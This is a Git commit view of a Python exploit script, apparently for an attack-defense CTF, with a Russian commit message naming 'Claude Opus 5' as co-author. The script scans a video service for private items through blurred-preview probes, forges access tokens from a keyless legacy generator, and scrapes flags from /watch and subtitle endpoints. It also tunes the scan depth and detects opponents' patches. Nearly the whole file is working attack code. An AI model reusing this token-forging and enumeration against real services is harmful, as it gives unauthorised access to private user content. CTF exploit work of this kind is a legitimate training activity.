Фиксированная глубина 3000 не работала на быстрых боксах: на 10.10.10.1 id растут >1000/мин, приватные ролики чекера ушли на 12000 вниз от top и сплойт возвращался пустым. Теперь сканируем блоками по 2000 сверху вниз до 14000 и выходим, как только набрали 6 целей -- на медленных боксах это по-прежнему один блок. Проверено: 4 флага с 10.10.10.1 (глубина 12042), 3 с 10.10.10.5 (глубина 1653), на 10.10.10.2 корректно определился патч. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
184 lines
8.2 KiB
Python
Executable File
184 lines
8.2 KiB
Python
Executable File
#!/usr/bin/env python3
|
||
import sys
|
||
import re
|
||
import random
|
||
import requests
|
||
from concurrent.futures import ThreadPoolExecutor
|
||
|
||
USE_CUSTOM_USER_AGENT = False
|
||
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
||
|
||
USER_AGENTS = [
|
||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
|
||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
|
||
"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
|
||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
|
||
]
|
||
|
||
PORT = 5000
|
||
BLOCK = 2000 # сканируем блоками, выходим как только набрали целей
|
||
MAX_DEPTH = 14000 # на быстрых боксах id растут >1000/мин
|
||
WANT_TARGETS = 6 # столько приватных достаточно, чтобы не жечь раунд
|
||
WORKERS = 50
|
||
MAX_FORGE_FAILS = 6 # столько подряд отказов /access => команда запатчена
|
||
WATCH_RX = re.compile(r"/watch/(\d+)")
|
||
FEED_RX = re.compile(r'src="[^"]*preview_(\d+)(_blured)?\.png"')
|
||
# echo отдаёт статику ТОЛЬКО на GET (HEAD => 405), поэтому пробуем GET,
|
||
# но с Range: качаем один байт вместо всего PNG.
|
||
PROBE_HEADERS = {"Range": "bytes=0-0"}
|
||
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||
|
||
|
||
def legacy_token(vid):
|
||
"""Восстановлено из keygen/legacy/keygen.a (GenerateToken):
|
||
|
||
int seed = n;
|
||
for (i = 0; i < 30; i++) { seed = (seed*17 + 42) % 62; out[i] = alpha[seed]; }
|
||
|
||
Никакого ключа -- токен целиком выводится из публичного video id.
|
||
Состояние схлопывается в n%62 после первой итерации, так что на весь
|
||
сервис приходится всего 62 различных токена.
|
||
"""
|
||
seed = vid
|
||
out = []
|
||
for _ in range(30):
|
||
seed = (seed * 17 + 42) % 62
|
||
out.append(ALPHABET[seed])
|
||
return "".join(out)
|
||
|
||
|
||
def exploit(target_ip):
|
||
flags = set()
|
||
|
||
headers = {}
|
||
if USE_CUSTOM_USER_AGENT:
|
||
headers["User-Agent"] = random.choice(USER_AGENTS)
|
||
|
||
# -------------------------------------------------------------------------
|
||
# VULN: server/server.go handleAccess() + keygen/legacy/keygen.a
|
||
# if keygen.ValidateKey(key, vid) { s.db.AddAccess(ctx, vid, ac.GetId()) }
|
||
#
|
||
# Share-токен приватного видео считается ТОЛЬКО от video id, который виден
|
||
# в /feed. Форжим токен -> POST /access пишет строку в таблицу access ->
|
||
# haveAccess() пропускает нас легально -> /watch отдаёт description, а
|
||
# /vtt/?id=N субтитры. Обе точки, куда чекер кладёт флаг.
|
||
#
|
||
# Патч LFI на этот путь не влияет: сюда мы приходим с чистым числовым id
|
||
# и с настоящей записью о доступе.
|
||
# -------------------------------------------------------------------------
|
||
try:
|
||
s = requests.Session()
|
||
s.headers.update(headers)
|
||
base = f"http://{target_ip}:{PORT}"
|
||
|
||
# 1. нужен аккаунт: на /access висит RequiredMiddleware
|
||
login = "".join(random.choices("abcdefghijklmnopqrstuvwxyz", k=10))
|
||
r = s.post(f"{base}/register",
|
||
data={"login": login, "password": "pw123456"}, timeout=6)
|
||
if r.status_code not in (200, 302):
|
||
print(f"[-] {target_ip}: register -> {r.status_code}", file=sys.stderr, flush=True)
|
||
return flags
|
||
|
||
# 2. Приватное видео выдаёт себя размытым превью. /feed показывает лишь
|
||
# 50 последних, а id растут ~500/мин из-за чужого флуда, так что
|
||
# чекерские приватные ролики лежат на глубине в сотни-тысячи id.
|
||
# Сканируем диапазон параллельно, по одному байту на пробу.
|
||
feed = s.get(f"{base}/feed", timeout=6).text
|
||
ids = [int(x) for x in WATCH_RX.findall(feed)]
|
||
if not ids:
|
||
print(f"[!] {target_ip}: пустой /feed", file=sys.stderr, flush=True)
|
||
return flags
|
||
top = max(ids)
|
||
|
||
def is_private(vid):
|
||
try:
|
||
r = s.get(f"{base}/public/static/preview_{vid}_blured.png",
|
||
headers=PROBE_HEADERS, timeout=5)
|
||
return vid if r.status_code in (200, 206) else None
|
||
except requests.RequestException:
|
||
return None
|
||
|
||
# Скорость роста id сильно разная: где-то 500/мин, где-то за 1000/мин,
|
||
# и приватные чекера уходят вглубь на тысячи. Идём блоками сверху вниз
|
||
# и останавливаемся, как только набрали достаточно целей.
|
||
private = []
|
||
with ThreadPoolExecutor(max_workers=WORKERS) as ex:
|
||
for lo in range(top, max(0, top - MAX_DEPTH), -BLOCK):
|
||
span = range(lo, max(0, lo - BLOCK), -1)
|
||
private.extend(v for v in ex.map(is_private, span) if v)
|
||
if len(private) >= WANT_TARGETS:
|
||
break
|
||
private.sort(reverse=True)
|
||
print(f"[*] {target_ip}: top={top}, приватных найдено {len(private)} "
|
||
f"(глубина до {top - min(private) if private else 0})",
|
||
file=sys.stderr, flush=True)
|
||
|
||
fails = 0
|
||
for vid in private:
|
||
try:
|
||
w = s.get(f"{base}/watch/{vid}", timeout=6)
|
||
except requests.RequestException:
|
||
continue
|
||
|
||
if w.status_code == 200:
|
||
# публичное (или уже открытое) -- флаг всё равно может лежать тут
|
||
flags.update(FLAG_RX.findall(w.text))
|
||
continue
|
||
if w.status_code != 403:
|
||
continue
|
||
|
||
# 403 => приватное и доступа нет: форжим токен
|
||
r = s.post(f"{base}/access",
|
||
data={"videoID": vid, "token": legacy_token(vid)},
|
||
timeout=6, allow_redirects=False)
|
||
if not r.headers.get("Location", "").endswith(f"/watch/{vid}"):
|
||
fails += 1
|
||
if fails >= MAX_FORGE_FAILS:
|
||
print(f"[!] {target_ip}: {fails} отказов подряд -- keygen запатчен",
|
||
file=sys.stderr, flush=True)
|
||
break
|
||
continue
|
||
fails = 0
|
||
|
||
found = set(FLAG_RX.findall(s.get(f"{base}/watch/{vid}", timeout=6).text))
|
||
found |= set(FLAG_RX.findall(
|
||
s.get(f"{base}/vtt/", params={"id": vid}, timeout=6).text))
|
||
if found:
|
||
flags.update(found)
|
||
print(f"[+] {target_ip}: видео {vid} -> {len(found)} флагов",
|
||
file=sys.stderr, flush=True)
|
||
|
||
except requests.RequestException as e:
|
||
print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||
# -------------------------------------------------------------------------
|
||
|
||
return flags
|
||
|
||
|
||
def main():
|
||
if len(sys.argv) < 2:
|
||
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
|
||
sys.exit(1)
|
||
|
||
target_ip = sys.argv[1]
|
||
|
||
try:
|
||
found_flags = exploit(target_ip)
|
||
|
||
if found_flags is None:
|
||
found_flags = []
|
||
elif isinstance(found_flags, str):
|
||
found_flags = [found_flags]
|
||
|
||
for flag in found_flags:
|
||
clean_flag = str(flag).strip()
|
||
if FLAG_RX.fullmatch(clean_flag):
|
||
print(clean_flag, flush=True)
|
||
|
||
except Exception as e:
|
||
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||
|
||
|
||
if __name__ == "__main__":
|
||
main()
|